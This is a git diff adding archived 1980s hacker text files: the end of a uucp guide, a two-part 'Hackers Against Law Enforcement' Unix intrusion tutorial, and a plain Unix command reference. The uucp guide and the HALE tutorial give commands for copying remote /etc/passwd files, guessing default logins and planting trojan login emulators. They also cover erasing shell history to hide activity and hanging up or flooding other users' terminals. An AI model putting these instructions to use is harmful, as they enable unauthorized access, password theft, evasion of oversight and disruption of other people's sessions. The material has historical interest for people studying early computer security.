transactions with remote +systems. You can either draw up the entries by system name, or the name of the +user who initiated the transaction. +For our purposes, we only want to draw up the log by system name. The format +is: + +uulog -s[system name] + +Now, this will pull up the logs for ALL transactions with this particular +system. We only want the logs for the last attempted transaction with the +system. Unfortunately, this can't be done, you'll just have to sort through the logs until you reach the sequence of the last transaction. If the logs extend +back a long time, say about a week, however, you can use the grep command to +call up the logs only for a certain date: + +uulog -s[system] | grep mm/dd- + +Where mm is the month (in the form ##, such as 12 or 01) and dd is the day, in +the same form). This takes the output of the uulog command, and searches +through it with the grep command and only prints out those entries which +contain the date the grep command is searching for. The log entries will be in +the form: + +[username] [system] (month/day-hour:minute-pid) DESCRIPTION + +Where: + +username -Is the userid of the account that initiated the transaction. +system -Is the name of the system that the transaction was attempted + with. +month/day -Date of transaction. +hour:minute -Time of transaction. +job number -The transfer's process id. +DESCRIPTION -The log message. + +An example of a typical log entry: + +root ripco (11/20-2:00-1234) SUCCEEDED (call to ripco) + +In the above example, the root account initiated a transaction with the Ripco +system. The system was contacted on November 20, at 2:00. The job number of the +transaction is 1234. + +Here is an explanation of the various log messages you will encounter, and +their causes: + +1. SUCCEEDED (call to [system name]) + +The system was successfully contacted. + +2. DIAL FAILED (call to [system name]) + +Uucp failed to contact the system. The phone number entry for the system in the Systems file may be wrong, or in the wrong format. + +3. OK (startup) + +Conversation with the remote system has been initiated. + +4. LOGIN FAILED + +Uucp was unable to log into the remote system. There may be an error in the +login field in the entry for the remote system in the Systems file, or line +noise may have caused the login to fail. + +5. WRONG SYSTEM NAME + +The system's entry in the Systems file has the wrong name for the system at the phone number specified in the entry. + +6. REMOTE DOES NOT KNOW ME + +The remote system does not recognize the name of the local system, and will not perform transactions with an unknown system (some will, some won't...see the +section on uucp security). + +7. REQUEST ([remote file] --> [local file] username) + +The file transfer has been requested. + +8. OK (conversation complete) + +The transfer has been completed. + +9. ACCESS DENIED + +Security measures prevented the file transfers. +If you get this error, you will receive mail on the local system informing you +that the transfer was denied by the remote. + +10. DEVICE LOCKED + +All the dialout devices were currently in use. + +A successful transaction log will usually look like this: + +root ripco (11/20-2:00-1234) SUCCEEDED (call to ripco) +root ripco (11/20-2:01-1234) OK (startup) +root ripco (11/20-2:01-1234) REQUEST (ripco!/etc/passwd --> /ripcofile root) +root ripco (11/20-2:03 1234) OK (conversation complete) + + When an error occurs during a transfer with a system, a status file is +created for that system, and remains for a set period of time, usually about an hour. During this time, that system cannot be contacted. These files, depending on which version of Unix you are on, will either be in the directory +/usr/spool/uucp, and have the form: + +STST..[system name] + +or will be in the directory /usr/spool/uucp/.Status, and have the same name as +the system. These status files will contain the reason that the last transfer +attempt with the system failed. These files are periodically purged, and if you wish to contact the system before its status file is purged, you must delete +its status file. +The files containing the failed transfer request will also remain. If you are +using the latest version of System V, these files will be in a subdirectory of +the directory /usr/spool/uucp. For instance, if the system is called ripco, +the files will be in the directory /usr/spool/uucp/ripco. On other systems, +these files will be in the directory /usr/spool/uucp/C., or /usr/spool/uucp. +These files are in the form: + +C.[system name]AAAAAAA + +Where [system name] is the name of the system to be contacted, and AAAAAA is a +the transfer's uucp job number. (You can see the transfer request's job number +by specifying the j option when you initiate the transfer. For example, +"uucp -j ripco!/etc/passwd /usr/spool/uucppublic/ripcofile" would initiate the +transfer of the ripco system's password file, and display the job number on +your screen.) Type "cat C.system[jobnumber]", and you will see something like +this: + +R /etc/passwd /usr/pub/.dopeypasswd root -dc dummy 777 guest + +On earlier versions of Unix, these files will be in the directory +/usr/spool/uucp/C. To find the file containing your transfer, display the +contents of the files until you find the proper one. If your transfer fails, +delete the transfer request file and the status file, correct any errors in the Systems file or whatever, and try again! + +UUCP SECURITY +------------- + Obviously, uucp access to files has to be restricted. Otherwise, +anyone, from any system, could copy any file from the remote system. This +section will cover the security features of the uucp facilities. + The file /usr/lib/uucp/USERFILE contains a list of the directories that remote systems can copy from, and local users can send files from to remote +systems. The entries in this file are in the format: + +[local user],[system] [callback?] [directories] + +Where: + +local user -Is the username of a local account. This is for the purpose + of restricting which directories a local user can send files + from to a remote system. +system -Is the name of a remote system. This is for the purpose of + restricting which directories a specific remote system can + copy files from. +callback? -If there is a c in this field, then if a transfer request is + received from the system indicated in the system field, then + the local system (in this case, the local system is the system + which receives the transfer request, rather than the system + that initiated it) will hang up and call the remote back (at + the number indicated in the remote's entry in the local's + Systems file) before starting the transfer. +directories -Is a list of the pathnames of the directories that the remote + system indicated in the system field can copy files from, or + the local user indicated in the local user field can send file + from to a remote system. + +A typical entry might look like: + +local_dork,ripco - /usr/spool/uucppublic + +This means that the user local_dork can only send files to a remote system +which are in the directory /usr/spool/uucppublic, and the remote system ripco +can only copy files from the local system that are in the directory +/usr/spool/uucppublic. This is typical: often, remotes are only allowed to copy files in that directory, and if they wish to copy a file from another portion +of the system, they must notify a user on the system to move that file to the +uucppublic directory. When a transfer request is received from a remote system, the local system scans through the userfile, ignoring the local user field (you can't restrict transfers with a particular user from a remote system...the copy access granted to a system in the USERFILE is granted to all users from that +system), until it finds the entry for that system, and if the system is allowed to copy to or from that directory, the transfer is allowed, otherwise it is +refused. If an entry for that system is not found, the USERFILE is scanned +until an entry with a null system name (in other words, an entry with no system name specified) is found, and the directory permissions for that entry are +used. If no entry is found with a null system name, the transfer is denied. +There are a few quirks about USERFILE entries. First, if you have copy access +to a directory, you also have copy access to any directories below it in the +system tree. Thus, lazy system operators, rather than carefully limiting a +system's access to only the directories it needs access to, often just give +them copy access to the root directory, thus giving them copy access to the +entire system tree. Yet another mistake made by careless superusers is leaving +the system name field empty in the entries for the local users. Thus, if a +system that doesn't have an entry in the USERFILE requests a transfer with the +local system, when the USERFILE is scanned for an entry with a null system +name, if the entries for the local users come first in the USERFILE, the system will use the first entry for a local user it finds, since it has a null system +name in the system name field. Note, that none of these security features even +works if the uucp account on the system the transfer is requested with does not use the uucico shell. In any case, whether the account uses the uucico shell or not, even if you have copy access to a directory, individual file or directory +protections may prevent the copying. For information on uucp security in yet +another version of the uucp facilities, see the piece on the Permissions file +in the section on uux security. + +EXECUTING COMMANDS ON A REMOTE SYSTEM +------------------------------------- + There are 2 commands for executing commands on a remote system- uux and rsh (remote shell- this has nothing to do with the rsh shell [restricted Bourne shell]). This section will cover the uses of both. + +UUX +--- + The uux command is one of the uucp utilities. This is used, not for +file transfers, but for executing non-interactive commands on a remote system. +By non-interactive, I mean commands that don't request input from the user, but are executed immediately when issued, such as rm and cp. The format is: + +uux remote!command line + +Where remote is the name of the remote system to perform the command on, and +the rest (command line) is the command to be performed, and any arguments to +the command. You will not receive any of the commnand's output, so this command can't be used for, say, printing the contents of a text file to your screen. + +UUX SECURITY +------------ + If the uucp account on the remote system uses the uucico shell, then +these security features apply to it. + + The file /usr/lib/uucp/Commands file contains a list of the commands a +remote system can execute on the system. By remote system, in this case, I mean +the system that the user who initiates the uux command is on, and local system +will mean the system that receives the uux request. Entries in the file +/usr/lib/uucp/Commands are in the following format: + +PATH=[pathname] +command +command + " to infinity... +command,system + +The first line, PATH=[pathname], sets the searchpath for the remote system +requesting the uux execution of a command on the local system. This entry is +just the same as, say, a line in a login file that sets the searchpath for a +regular account, example: PATH=/bin:/usr/bin +Which sets the searchpath to search first the directory /bin, and the the +directory /usr/bin when a command is issued. The following entries are the base names of the programs/commands that the remote can execute on the local system. The last program/command in this list is followed by a comma and the name of +the remote site. For example: + +PATH=/bin +rmail +lp,ripco + +Means that the remote system Ripco can execute the rmail and lp commands on the local system. Usually, only the lp and rmail commands will be allowed. + Again, we come to another, "different" version of the uucp facilities. +On some systems, the commands a remote system can execute on the local system +are contained in the file /usr/lib/uucp/Permissions. Entries in this file are +in the form: + +MACHINE=[remote] COMMANDS=[commands] REQUEST=[yes/no] SEND=[yes/no] READ= +[directories] WRITE=[directories] + +Where: + +Remote is the name of the remote system. Commands is a list of the commands +the remote may execute on the local system, in the form: +pathname:pathname + +For example: + +/bin/rmail:/usr/bin/netnews + +The yes (or no) aft er "REQUEST=" tells whether or not the remote can copy +files from the local system. The yes/no after "SEND=" tells whether or not the +remote system can send files to the local system. The list of directories after +"READ=" tells which directories the remote can copy files from (provided that +it has REQUEST privileges), and is in the form: + +pathname:pathname...etc. + +For example: + +/usr/spool/uucppublic:/usr/lib/uucp + +Again, as before, the remote has copy access to any directories that are below +the directories in the list in the system tree. The list of directories after +"WRITE=" is in the same form as the list of directories after "READ=", and is a list of the directories that the remote can copy files TO on the local system. + +RSH +--- + This is a new feature which I have seen on a few systems. This is not, +to the best of my knowledge, a System V feature, but a package available for +3rd party software vendors. If the rsh command is featured on a system, the +restricted (rsh) Bourne shell will be renamed rshell. Rsh stands for remote +shell, and is for the execution of any command, interactive or otherwise, on a +remote system. The command is executed realtime, and the output from the +command will be sent to your display. Any keys you press while this command is +being executed will be sent to the remote system, including breaks and +interrupts. The format is: + +rsh [system] command line + +For example: + +rsh ripco cat /etc/passwd + +Will print out the /etc/passwd file of the Ripco system on your screen. To the +best of my knowledge, the only security features of the rsh command are the +individual file and directory protections of the remote system. + +UUNAME AND UUSTAT +----------------- + These are 2 commands which are for use by users to show the state of +the local system's uucp facilities. Uuname gives a list of all the system names in the Systems (L.sys) file, and uustat gives a list of all pending uucp/uux +jobs. + +NETWORK MAIL +------------ + There are several different ways of sending mail to users on other +systems. First of all, using the uucp and uux commands. Simply edit a text file containing the message you wish to send, and uucp a copy of it to the remote +system. Then send it to the target user on that system using the uux command: + +uux system!rmail [username] < [pathname] + +Where system is the name of the system the target user is on, username is the +name of the user you wish to send the mail to, and pathname is the pathname of +the text file you sent to the remote system. This method works by executing the rmail command (Receive Mail), the syntax of which is "rmail [user]", and +redirecting its input from the file you sent to the remote. This method will +only work if the remote allows users from your local system to execut the rmail command. + The second method is for systems which feature the remote shell (rsh) +command. If the remote system can be contacted by your local system via rsh, +type: + +rsh system!mail [user] + +And once connected, enter your message as normal. + This last method is the method of sending mail over uucp networks. This method is the one employed by USENET and other large uucp networks, as well as +many smaller and/or private networks. This method uses the simple mail command: + +mail system!system!system![and so on to infinity]!system@user + +Where: +The list of systems is the routing to the target system, and user is the mail +recipient on the target system. The routing takes a bit of explanation. Imagine something a uucp network with connections like this: + + unix1 + | + ------------------- + | | + unix2 unix3 + | | + unix4-------------unix5 + +This network map shows what systems are on the network, and which systems have +entries for which other systems in its Systems (L.sys) file. In this example: + +Unix1 has entries for unix2 and unix3. +Unix2 has entries for unix1 and unix4. +Unix3 has entries for unix1 and unix5. +Unix4 has entries for unix2 and unix5. +Unix5 has entries for unix3 and unix4. + +Now to explain the routing. If unix1 wanted to reach unix5, it couldn't do so +directly, since it has no means of reaching it (no entry for it in its Systems +file). So, it would "forward" the mail through a series of other systems. For +example, to send mail to the user root on unix5, any of these routings could be +used: + +unix3!unix5@root +unix2!unix4!unix5@root + +Obviously, the first routing would be the shortest and quickest. So, to mail a +message from unix1 to the root user on unix5, you would type: + +mail unix3!unix5@root + +Then type in your message and press control-D when finished, and the uucp +facilities will deliver your mail. + +ACKNOWLEDGEMENTS +---------------- + Well, this is it- the end of the file. I hope you've found it +informative and helpful. Before I go on, I'd like to thank a few people whose +assistance made writing this file either A: possible or B: easier- + +Shadow Hawke I, for sharing many a Unix account with me. +The Warrior (of 312), for helping me get started in hacking. +Omega-- for helping me hack a large network of Unix systems. +Psychedelic Warlord, for helping me with a BSD Unix system. +Shooting Shark, for his C decoy, and more than a few good posts on Private +Sector. +Kid&Co, for providing me with some information on the Telnet program. +And lastly but not leastly, Bellcore, Southern Bell, and BOC's around the +country for the use of their systems. Thanks, all! + + ------------- +Corrections: +I incorrectly listed in one section that chown was the command to change file protections. +The correct command is chmod. + \ No newline at end of file diff --git a/textfiles.com/hacking/UNIX/unix.hal b/textfiles.com/hacking/UNIX/unix.hal new file mode 100644 index 00000000..dcb0bce9 --- /dev/null +++ b/textfiles.com/hacking/UNIX/unix.hal @@ -0,0 +1,432 @@ + +=============================================================================== + RUSH2112 + Presents + A HALE Production + H ackers A gainst L aw E nforcement + Call HALE Hq. (619)660-67xx + Active HALE members are: Ripper, Trashman, Rush2112. + The Underground Newsletter: Vol I. Issue I, Part I +=============================================================================== +Note: Feel free to distribute the file provided none of its contents or + credits are changed. +Topic: A Guide to Unix Systems, Part I. +Date: September 1, 1989. +Foreword: This file is compiled from my experiences on both BSD and Sys V + Unix on VAX 750/780 mainframes, AT&T 3B20 and Pyramid Technology's + mainframes. + + In today's world, as a hacker, you are nothing unless you learn some +of the more popular operating systems around used on minis, mainframes, super- +computers and the like. In this file I will attempt (to the best of my +ability) to introduce you to one of those operating systems - namely - the +world of Unix. It is hoped that by reading this file you can pick up perhaps +enough of a working knowledge so that if by chance in your hacking exploits you +come across a Unix system (and you will) you'll know what to do. + There is NO WAY to cover everything about Unix in a file so this will +be the first of many that I hope to release in the future. If I find there are +stuff I have not mentioned I will write more files as needed. In Part II, I +plan to give you a tutorial on what to do while you're on-line in regards to +hacking and using essential system utilities. Have fun. + Usually (unless modifified by the system administrator or one with such +privileges), you can tell if you've connected to a Unix system of some type by +the login prompt which looks like this: + +login: + +Pretty simple huh? Anyway, that is the standard login prompt, it may or may +not be preceded by a message telling you what type of Unix or system you have +connected to. + If you try to login with an illegal login name and/or an illegal +password the system will respond as such and as you to try again: + +login:hacker +password: +login incorrect +login: +(Note the password is not echoed in any form) + + In Part I of this Unix tutorial I'd like to start with an overview of +the Unix system before I get into some of the more interesting stuff (so bear +with me all you Unix experts). Then I will go through the login process and +the /etc/passwd file and how it is structured. This will not be an in-depth +look at all, merely an overview. Some day I will write an in-depth study to +accompany this file and the files that follow for the more advance user/hacker. + + There are basically 2 types of Unix systems that you will most likely +come across. They are: + +I. BSD Unix - from UC Berkeley's (B)erkeley (S)oftware (D)istributors +II. System V UNIX - from AT&T (how nice - I know all you phreakers are smiling!) +(Other spinoff's of the above 2 will not be discussed - such as Ultrix, + Minix, Xenix, etc...) + + They are alike in many respects but both have their differences, hence +their are advantages and disadvantages to both of the systems, BSD and Sys V. +Perhaps the main difference between the two are the default shell that each +uses as the user interface to the system utilities. + BSD Unix defaults to the csh (C-Shell) while AT&T's Sys V uses the sh +(Bourne shell). But on both of these systems both shell types are available to +the user. A third optional shell which is also pretty popular is the ksh +(Korn shell). The way to recognize the default shells when you see them is by +their default prompt. The csh uses the % symbol as the prompt while the sh +uses the $ symbol as the prompt. + Now let's talk about files, shall we? The MOST important file of all +on ANY UNIX system is the password file. This file holds information about +all the accounts on the system, passwords, and other information. Without +this file no one can log in and use the system. You can find this file on any +system in the /etc directory. It is called simply 'passwd'. The full +pathname is /etc/passwd (of course). + + The /etc/passwd file is stuctured as such: +Each user has an entry in the passwd file that holds his account information. +Among the information included on each user entry line is his login name, +his password (encrypted), his user id, his group id, his home directory, his +name, and his startup program if any. Basically it looks something like this: + +------------------------ Sample /etc/passwd file -------------------------- + General format of each entry: +login:password:user-ID:group-ID:info:home directory:startup program + +root:Arllz76Dnq:0:0:The & of All Evil:/:/bin/csh +jsmith:Yi83amq9:102:100:John Smith:/usr/jsmith:/bin/sh +who::99:500:Who's on:/usr/ucb:/bin/who +daemon:r6Eeu:1:1:The DEVIL himself:/etc:/bin/csh +bin:mb033yt:3:3:The Keeper of the Flame:/etc:/bin/csh +info::508:501:Library user group:/usr2/info:/usr2/bin/rsh +..... +..... [ and so on ] +..... +---------------------------------------------------------------------------- + Now we'll examine each entry. Remember that each field is separated +by the colon. So in the first entry in /etc/passwd given above, we can tell +the following about the entry. + +login name is: root +Password (encrypted): Arllz76Dnq +User ID: 0 +Group ID: 1 +Info (usually owner): root +Home Directory: / +Startup Program: /bin/sh + +The second entry in /etc/passwd looks like this: +login name is: jsmith +Password (encrypted): Yi83amq9 +User ID: 102 +Group ID: 100 +Info (usually owner): John Smith +Home Directory: /usr/jsmith +Startup Program: /bin/sh + + But now you get the general format...so let's discuss some things +about the field. + +I. The login field + This is the login name that you use to login at the prompt of the Unix +system. During the login process, after you enter the login and the password +the system will then call routines to search the 1st field of each entry +in /etc/passwd to see if any login names match up with the one you have given +it. If none exists it will report the "login incorrect" message and start +prompting for a new login name and new password. + +II. The Password field + If the login name is valid, Unix then takes your password entry and encrypts +it then compares it against the encrypted password in the 2nd field of the +login name entry (see I. The login field). If the two passwords match up, the +login process will continue, otherwise the "login incorrect" message will be +displayed. I'll explain later what goes on when comparisons of the encrypted +passwords take place. If the Password Field contains null :: then no password +is needed and the system logs you into the home directory and executes the +startup program. If the Password Field contains :,.: then upon login the +system will run the passwd utility and assign that account a password. (This +is nice if you're a system administrator, you create an account for your +friend then put the ",." in the password field and he'll set his own password +upon login. + +III. The UID (UserID) field + If everything is correct (login name and password) then the system proceeds +to put your in your home directory. You are then given a UID from your entry +in the /etc/passwd file. All UID's fall in the range 0-65535 with 0 as the +superuser UID (see /etc/passwd example). The system reserves UID 0-99 for +special accounts. UID's are used by the system and its utilities to control +both access levels and file ownership (as determined by the ls utility - more +on that later). + +IV. The GID (GroupID) field + The Group ID is used to associate the user with a certain group, used by +Unix primarily for access levels as determined by file protections. (i.e. +a member who is not in a group can not get group privileges on files for that +group, even though file protections for the file say all privileges to group +users.) GID's fall in the range 0-655535 with GID 1 being the default. All +GID's between 0-99 are reserved. + +V. The Information field + This field usually holds the account owner's name though it can be used +for anything actually. I have seen it used to describe the account function +(see the sample /etc/passwd file on the entry for login name "who"), and also +to hold people's phone extension, etc.. + +VI. The Home Directory Field + This field should have the full pathname to your home directory. On many +UNIX systems it is usually in the format of /usr/{loginname} (See the +entry for login name "jsmith"). Not necessarily your PERMANENT home +directory, one can change it by reassigning an alternate path to the system +variable $HOME (on Sys V). + +VII. The Program Field + Usually this field holds the startup program to execute once the login +procedure has been completed. If left blank then the default startup program +will be the shell assigned to the Unix system. In the our example /etc/passwd +file, the entry for login name who, will execute the who command in /bin/who +once you log in. However, after the command finishes executing, it will exit +the system as there is no password on the account, there is no way to stay +logged in. On the info account however, you will remain login until you type +exit or logout or CTRL-D as the program running there is a shell. Though not +a full Bourne shell or C-shell, the restricted shell (rsh) does allow to you +play around a little. + + Well, that about does it for what I want to cover in Part I. Look for +Part II coming out real soon. I will be going into details what to do once +online with an account and how to go about getting an account. This file is +for informational purposes only. +------------------------------------------------------------------------------ + +Brought to you by: The Apple Bandit 10-89 + + + +=============================================================================== + RUSH2112 + Presents + A HALE Production + H ackers A gainst L aw E nforcement + Call HALE Central. (619)472-0xxx + Active HALE members are: Ripper, Trashman, Rush2112. + The Underground Newsletter: Vol I. Issue I, Part II +=============================================================================== +Note: Feel free to distribute the file provided none of its contents or + credits are changed. +Date: September 3, 1989. +Topic: A Guide to Unix Systems, Part II. + + In Part I of TUN, I explained the very basic fundamentals of the +Unix operating system. In Part II, which I'm sure a lot of you will be +more interested in, I will show you a sample run of how and what a hacker +would do (for example - what I would do) if I were on some unknown Unix +account. + +I. Access to a Unix account. + First off, you need to find yourself an account. Briefly, here are +some of the most popular methods I use some of which are hard and some of +which are easy. + + 1. You can try to hack one out at the login: prompt. Of course this +is the old traditional method of trial and error and some standard login +accounts. (It is suggested but as a last resort - though it has worked for me +in the past I opt for other routes to getting an account.) Well, the first +thing of course when you hit a Unix system is to try the standard accounts. +This would include: uucp, nuucp, daemon, ftp + Some systems include public accounts that you may also want to try +as many of them give you shell access. +You might want to try: guest, info, bbs, games + Sooner or later, you'll find a system that has a vulnerability like +non-passworded accounts or simple passwords for a login. Some of the things +you should try are the login names as a password. Even the magazine UNIX +Review claims it was surprised how entries in /etc/passwd on systems they +checked used login names as the actual passwords. My own experiences shows +this is true. + + 2. You can get one if you know someone who already has a Unix account. +(I find this works very well, by working from the inside you're guaranteed to + get an account if you know what you're doing.) + Of course the hack attack from the login: prompt could be fruitless +and you may never get an account this way so the best way to get into a Unix +system is from the inside. This means of course you know someone on that +system with an account, who could help you find an account either by searching +the /etc/passwd for non-passworded account with shell access. Or hunting the +entire file system for files with "other" and/or "group" privileges in hopes +of finding a password or some account names or other neat info to get you +started on Unix. + + 3. You can try a trojan horse program to gain someone's login and +password. Some popular trojan horses are password capturing programs and +emulators that emulator the login screen. This method by-far is the EASIEST +way to do it but it requires you have an account to run the trojan horse +from. This can be done easily if your friend lets you use his account. You +won't even have to tell him what you're using it for. + + I'll have more about this at a later date. Maybe an issue on trojan +horses and emulators, etc.. is in order? + +II. Working with an account. + Once you have access some important points to remember and do are: + 1. Set history to 0 if on BSD or erase .history on Sys V before logoff + 2. Turn off your messages. + 3. Get a buffer of the /etc/passwd. + 4. Get a buffer of the login process. + 5. Get a buffer of the ENTIRE file system online. + + Assuming that you have gotten into someone else's account, the first +thing to do when you log in is shut your messages off with "mesg n" (messages +no). This will turn off write permission to your tty in /dev/ttyXX (where XX +is your tty number). It will prevent people from writing to you while you're +online buffering system information. It will also stop people from +redirecting output to your tty. Plus, you'll be busy so you want no +disturbances of any type. + If you're on an account running csh you should set the history to 0. +You can do that with the command 'set history=0'. History is just that... it +keeps a history of everything that you do, all the commands you pass to the +csh is stored. Typing 'history' by itself will show you a list of previous +commands entered by the user. By setting it to 0, it will not record your +commands from the shell. On Sys V under Bourne shell, history is stored +sometimes in the "hidden file" .history in your home directory ($HOME/.history) +You should delete the file before logging off. + Now you should get a copy of the password file. This is easily +accomplished with 'cat /etc/passwd'. Make sure you buffer the contents, you'll +need this for later. You may also wish to get the /etc/group file, this file +has information on all the groups on the system along with members of each +group. (I'll talk about groups in another file.) Just type 'cat /etc/group' +and buffer its contents. + Now comes the interesting part. You'll want to get a listing of every +single file on the system and buffer it. Here's what you would do: + +$cd / + (at this point open your buffer) +$find . -type f -exec ls -al {} \; + (when this is finish, close your buffer) + This will take quite a while if the system you're on has a lot of +files. Basically, you are going to the root directory ('cd /') which is the +top of the directory tree hierarchy. From there you will execute the 'find' +command which is a file find utility. We are asking it to print out all the +filenames of type 'f' (which is normal file) from the current directory (which +is root) and all directories below it (which is the rest of the directory +tree) and search all files recursively and pass its findings via -exec to +the "ls" utility which will list its file information (-al including file +attributes).. but anyway, if this is too complicated to follow, don't worry. +Try typing 'man find' for perhaps a better explanation. Suffice it to say +you should now have buffered a listing of all files in the directory tree. + Next take a look at your hidden files like .profile on Sys V or +.login and .cshrc on BSD Unix. They contain login information such as commands +to automatically execute and perhaps some aliases definitions. If there is +anything interesting you should buffer it. + Find out who the hell is on at the time with the "who" command. Then +find out what everyone is doing with the "ps" command. For example on Sys V +Unix you might do something like this: + +who -HTu (see "man who" for what the full explanation of all switches) + - basically this shows all users on currently and gives other + information on their tty status like "mesg y" or "mesg n" (A + means + messages are on, a - means messages are off.) It will also report + tty IDLE time, nice to know if someone is working or not. + +After you see who's on, you'll want to know what they're doing. This can be +done with the "ps" (Process Status) command: + +ps -fu username (read the on-line manual for full options) + - where username is the login name of whoever it is that you wanted to + check up on. +ps -fa | more + - shows ALL processes on the system. Piping through more will pause + tty output every screenful. + + Using the "ps" utility is handy in getting some interesting paths to +programs run by users on the system as it shows the path to the entire process. +I have found many neat programs and utilities by watching what other people +do on the system with the "ps" command. + At this point you are interested in getting your own account if +possible. You have several options now. You could install a trojan horse +program in hopes of getting an account or you may want to play around with +the account you have. + Installing a trojan horse. I'll be going into more details about +trojan horses in a future issue of TUN as there are many ways to do this. +You should check first to see that your Unix system has a C compiler on it. +(yes, you'll unfortunately have to know a little bit of programming so go +get those books on C and start reading!). If it doesn't have a C compiler +you'll be out of luck, but not completely helpless, you could start writing +shell scripts (again probably another issue of TUN to cover shell scripts). + If you want to play around on the system, here are a few things to do. +One of the most basic tricks of Unix is called i/o redirection. This is a +process whereby you "redirect" standard input/output to some other device. +An example would be if I were to send a file to my screen to look at it, I +would redirect the output to another file, or screen, or printer, or any other +device on the system. Let's go with redirection to a file for a simple first +step. Suppose I had a text file called "textfile001". +To view to the screen I would type: + +$cat textfile001 + +What happens when you type the 'cat' command is it views the file and send +its output to your tty or terminal screen. Now if I were to do this: + +$cat textfile001 > newfile + +You can see that nothing happens to the screen and it will come back to the +main prompt. However you will now have a new file called "newfile" whose +contents are those of textfile001. The redirection symbol > told it to cat +the file textfile001 but redirect standard output to the file called "newfile". + + Using this principal, you can try to redirect things to people's tty's +or terminal screen. (Note - redirection to tty's will not work on BSD Unix +ver 4.3 due to a bug fix.) The way to do that is like this: + +$cat textfile001 > /dev/ttyXX + +Where XX is the tty number you wish the standard output to go to. So for +example if I were to do a 'who' command and I find that there is a user name +'steve' on the system on 'tty12' I could send the text file to his tty with: + +$cat textfile001 > /dev/tty12 + +Now the standard output of 'cat' will go to tty12 which belongs to user steve. + Another trick to to redirect stty outputs to people's tty's. The +stty command handles certains setups for your tty, including how to process +erase keys, interrupt keys, baud rate, hangups, etc... For a list type +'man stty' to get the on-line manual entry for stty. Anyways, the command +stty 0 will automatically terminate phone connection to the system (i.e. hang +you up). So if you were to type: + +$stty 0 + +You would gracefully exit the system with a &[1 NO CARRIER or some equivalent. +Now using redirection you can send your stty commands to other tty's. So using +the above example of stty 0: + +$stty 0 > /dev/tty12 + +will hang up user steve. Unfortunately, due to the way Sys V handles stty +processing, this will not work on System V or later versions of BSD Unix +(4.3 to be exact.) + Other nasty things to do is to cat binary files to people's tty. Due +to the big file sizes of certain binary executables you should do redirection +in the background..that is with the & symbol at the end of the command line. +For example to send the "ls" binary file to user steve we would type: + +$cat /bin/ls > /dev/tty12 & + +Once typed in, you will get a Process ID (PID) or job number (on BSD) for +the background job. You will also get your prompt back so you can proceed +as normal while Unix is sending the ls binary to user steve. To kill the +process you could type: + +$kill -9 PID where PID is the number returned to you from the + background command. + +On BSD: +$kill %jobnumber for example if the job number returned was 1 then + $kill %1 will do the job. + +This is handy to remember since doing a ps -fu username on your username +will reveal you are sending him a binary file in the background. You could +easily be dubbed the culprit messing with people's tty's. + + Well, at this point I would like to wrap up Part II. If there are +typos my apologies.. it's late. Part III will be a bit more technical but +hopefully you'll get something out of it. I will be going over trojan horses +and emulators, and perhaps a discussion of file protections is in order and +of course how to get other people's files and give yourself more permission. + This file is for informational purposes only. + Brought to you by: +--------H.ackers--------A.gainst-----------L.aw---------E.nforcement----------- + + diff --git a/textfiles.com/hacking/UNIX/unix.inf b/textfiles.com/hacking/UNIX/unix.inf new file mode 100644 index 00000000..a33ffb3b --- /dev/null +++ b/textfiles.com/hacking/UNIX/unix.inf @@ -0,0 +1,532 @@ + :::::::::::::::::::::::::::::::::::::: + ::UNIX PRIMER PLUS COMMAND REFERENCE:: + ::: ::: + ::------------------------------:: + :: :: + :: Created, edited and dist by :: + :: :: + :: ---* :: + :: :: + :: Frosty :: + :: :: + :: GCMS - MechWarriors :: + :: :: + ::------------------------------:: + + Starting up ::: + --------------- + + LOGIN - sign on + PASSWD - change login password + + Manipulating Files and Directories ::: + -------------------------------------- + + CAT - concatenate and print + CAT [-N,-S,-V] file . . . + + Options : + -N numbers lines starting at 1 + -S eliminates multiple, consecutive, blank lines + -V prints invisible characters + + Example : + + CAT FILE2 displays file2 on terminal. + + CD, CHDIR - change directory + CD + CD directoryname + + Example : + + CD/USER/REGGIE/HACK places you in the USR/REGGIE/HACK directory + + CHMOD - change modes or permissions on files + CHMOD UGO, + -, RWX file . . . or directory . . . + + Who : + + U login owner ( user ) + G group + O other users + + Op-Codes : + + + add permission + - remove permission + + Permissions : + + R read + W write + X execute + + Examples : + + CHMOD O-RWX PRIVATE removes read, write and execute permissions for + others from the file called PRIVATE + + CP - make copy of files + CP[-I] file1 file2 + CP[-I] file . . . ( file, file . . . , directory ) + + Option : + + -I protects existing files + + Examples : + + CP FLIM FLAM makes a copy of the file FLIM and calls it FLAM + + LN - make a file linds + LN file . . . file . . . or file . . . directoryname + + Example : + + LN HIST /USR/FRANCIE links the file HIST to the /USR/FRANCIE directory + + LPR, LPQ and LPRM - use the line printer + LPR file . . . + LPQ + LPRM file . . . + + Options : + These vary from system to system + + Example : + + LPR SOME STUFF sends the file SOME and STUFF to the printer + LPQ checks the line printer queue + LPRM DATA3 removes the file DATA3 from the printer queue + + LS - list contents of directory + LS [-A, C, L, M, R, S, F, R, + others] directory . . . + + Options : + -A list all entries + -C list by time of file creation + -L list in long format + -M list in a stream output + -R reverses the order of the listing + -S gives the size in blocks + -F marks directories with a '/' and executable programs with a '*' + ( the -F is capitalized ) + -R list recursively any subdirectories + ( the -R is capitalized ) + + Example : + LS -C lists contents of current directory in order of time of creation + + MKDIR - makes a new directory + MKDIR directoryname + + Example : + MKDIR CHAPTER4 creates a new subdirectory called CHAPTER4 in the + present directory + + MORE - views long files one screenful at a time + MORE file . . . + + MV - move or rename files + MV [-I] filename1 filename2 or filename1 directoryname + + Option : + -I Protects existing files + + Example : + MV GABBY MUDBALL changes the name of the file GABBY to MUDBALL + + RM - remove a file + RM [-I, -R] file . . . + + Options: + -I Protects existing files + -R Deletes a directory and every file or directory in it ( be careful ) + + Example: + RM JUNKY removes the file JUNKY + + RMDIR - removes directories + RMDIR directory . . . + + Example: + RMDIR BUDGET65 removes directory BUDGET65 if it does not contain files + + REDIRECTION OPERATORS -<, >, >> + + Example: + CAT LISTA LISTB >> LISTC appends the files LISTA and LISTB to LISTC + + PIPES - | + + Example: + CAT LISTA LISTB | LPR joins two files and 'pipes' the result to printer + + COMMUNICATIONS ::: + ------------------ + + BIFF - notification of mail upon arrival + BIFF [Y, N] + + Example: + BIFF Y causes you to be notified the moment mail arrives + + FINGER - provides information about users + FINGER [-M, -L, -S] name + + Options: + -M search only login names + -L display long form + -S display short form + + Example: + FINGER -S RONNIE finds all users with login name of 'RONNIE' + + MAIL - receiving mail + MAIL + + Commands: + 1, 2, 3 . . . reads message number 1 each time you push 1, etc. + P prints the first message + D2 deletes message number 2 + S3 FILENAME appends message number 3 to FILENAME + Q quits mail + + Other commands may exist on some systems + + MAIL - sending mail + 